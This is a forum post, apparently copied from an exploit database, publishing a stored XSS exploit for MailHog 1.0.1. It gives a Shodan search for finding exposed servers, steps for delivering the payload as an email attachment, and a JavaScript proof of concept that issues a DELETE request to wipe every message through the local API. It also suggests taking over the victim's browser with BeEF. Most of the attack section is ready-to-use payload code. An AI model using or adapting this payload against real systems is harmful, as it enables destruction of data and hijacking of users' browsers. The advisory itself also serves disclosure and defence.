跳转到帖子

Mailhog 1.0.1 - Stored Cross-Site Scripting (XSS)

recommended_posts

发布于
  • Members
# Exploit Title: Mailhog 1.0.1 - Stored Cross-Site Scripting (XSS)
# Google Dork: https://www.shodan.io/search?query=mailhog ( > 3500)
# Date: 06.18.2022
# Exploit Author: Vulnz
# Vendor Homepage: https://github.com/mailhog/MailHog
# Software Link: https://github.com/mailhog/MailHog
# Version: 1.0.1
# Tested on: Windows,Linux,Docker
# CVE : N/A

Explanation:
Malicious users have the ability to send API requests to localhost and this request will be executed without any additional checks. As long as CSRF exists and unrestricted API calls as well, XSS could lead any API calls including  email deletion, sending, reading or any other call.

Steps to reproduce:
   1.   Create malicious attachment with payloads stated below
   2.   Attach malicious file to email with payload (XSS)
   3.   Send email
   4.   Wait for victim to open email
   5.   Receive data, get control of victim browser using Beef framework, or manipulate with API data


Proof of Concept:

<script>

var XMLHttpFactories = [

function () {

    return new XMLHttpRequest()

},

function () {

    return new ActiveXObject("Msxml2.XMLHTTP")

},

function () {

    return new ActiveXObject("Msxml3.XMLHTTP")

},

function () {

    return new ActiveXObject("Microsoft.XMLHTTP")

}

];

function createXMLHTTPObject() {

    var xmlhttp = false;

    for (var i=0;i<XMLHttpFactories.length;i++) {

        try {

            xmlhttp = XMLHttpFactories[i]();

        }

        catch (e) {

            continue;

        }

        break;

    }

    return xmlhttp;

}

var xhr = createXMLHTTPObject();

xhr.open("DELETE", "http://localhost:8025/api/v1/messages", true);

xhr.onreadystatechange = function()

{

    if (xhr.readyState == 4)

        alert("Request completed, with the following status code: " +
xhr.status);

}

xhr.send("");

</script>
            
  • 查看数 701
  • 已创建
  • 最后回复

参与讨论

你可立刻发布并稍后注册。 如果你有帐户,立刻登录发布帖子。

游客
回帖…